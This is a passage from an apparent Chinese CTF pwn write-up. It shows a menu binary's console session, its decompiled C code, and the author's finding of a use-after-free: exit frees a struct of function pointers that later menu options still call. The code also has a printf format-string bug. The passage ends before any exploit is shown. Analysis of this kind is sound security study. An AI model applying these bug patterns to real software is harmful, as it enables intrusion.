</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">- 4. : exit
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="gp">&gt;</span> <span class="m">2</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">hello admin
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">goodbye admin
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">- select echo type -
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">- 1. : BOF echo
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">- 2. : FSB echo
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="go">- 3. : UAF echo
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="go">- 4. : exit
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="gp">&gt;</span> <span class="m">3</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="go">hello admin
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="go">goodbye admin
</span></span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="go">- select echo type -
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="go">- 1. : BOF echo
</span></span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="go">- 2. : FSB echo
</span></span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="go">- 3. : UAF echo
</span></span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="go">- 4. : exit
</span></span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="gp">&gt;</span> <span class="m">4</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="go">Are you sure you want to exit? (y/n)y
</span></span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="go">bye
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>选单题，居然有栈执行权限，还没有 Canary</p>
<p>反编译：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="n">_QWORD</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span> <span class="c1">// rax
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-24h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="n">_QWORD</span> <span class="n">v6</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-20h] BYREF
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">o</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">o</span> <span class="o">+</span> <span class="mi">3</span><span class="p">)</span> <span class="o">=</span> <span class="n">greetings</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">o</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">=</span> <span class="n">byebye</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;hey, what&#39;s your name? : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%24s&#34;</span><span class="p">,</span> <span class="n">v6</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="n">o</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">o</span> <span class="o">=</span> <span class="n">v6</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="n">v3</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">v6</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="n">v3</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">v6</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="n">id</span> <span class="o">=</span> <span class="n">v6</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="nf">getchar</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="n">func</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">echo1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="n">qword_602088</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">echo2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">  <span class="n">qword_602090</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">echo3</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">!=</span> <span class="mi">121</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="nf">getchar</span><span class="p">()</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">      <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">- select echo type -&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 1. : BOF echo&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 2. : FSB echo&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 3. : UAF echo&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 4. : exit&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="nf">getchar</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&gt;</span> <span class="mi">3</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">          <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span><span class="p">))</span><span class="n">func</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])();</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">      <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">==</span> <span class="mi">4</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;invalid menu&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="nf">cleanup</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Are you sure you want to exit? (y/n)&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="nf">greetings</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;hello %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">
</span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="kr">__int64</span> <span class="kr">__fastcall</span> <span class="nf">byebye</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;goodbye %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">a1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">
</span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="kt">int</span> <span class="nf">echo1</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">  <span class="k">return</span> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;not supported&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">
</span></span><span class="line"><span class="ln">69</span><span class="cl"><span class="kr">__int64</span> <span class="nf">echo2</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">  <span class="kt">char</span> <span class="n">format</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [rsp+0h] [rbp-20h] BYREF
</span></span></span><span class="line"><span class="ln">72</span><span class="cl">
</span></span><span class="line"><span class="ln">73</span><span class="cl">  <span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">o</span> <span class="o">+</span> <span class="mi">3</span><span class="p">))(</span><span class="n">o</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">  <span class="nf">get_input</span><span class="p">(</span><span class="n">format</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="n">format</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">  <span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">o</span> <span class="o">+</span> <span class="mi">4</span><span class="p">))(</span><span class="n">o</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">79</span><span class="cl">
</span></span><span class="line"><span class="ln">80</span><span class="cl"><span class="kr">__int64</span> <span class="nf">echo3</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">81</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">82</span><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]
</span></span></span><span class="line"><span class="ln">83</span><span class="cl">
</span></span><span class="line"><span class="ln">84</span><span class="cl">  <span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">o</span> <span class="o">+</span> <span class="mi">3</span><span class="p">))(</span><span class="n">o</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">85</span><span class="cl">  <span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="nf">malloc</span><span class="p">(</span><span class="mh">0x20u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">86</span><span class="cl">  <span class="nf">get_input</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">32</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">87</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">88</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">s</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">89</span><span class="cl">  <span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">o</span> <span class="o">+</span> <span class="mi">4</span><span class="p">))(</span><span class="n">o</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">90</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">91</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">92</span><span class="cl">
</span></span><span class="line"><span class="ln">93</span><span class="cl"><span class="kt">void</span> <span class="nf">cleanup</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">94</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln">95</span><span class="cl">  <span class="nf">free</span><span class="p">(</span><span class="n">o</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">96</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>逻辑很简单，明显 UAF，输入 4，exit 后执行了 cleanup 函数，它将 o 释放。但是后面按 n，不退出程序，再调用任何一个选项就会调用：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">o</span> <span class="o">+</span> <span class="mi">3</span><span class="p">))(</span><span class="n">o</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__fastcall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">o</span> <span class="o">+</span> <span class="mi">4</span><span class="p">))(</span><span class="n">o</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
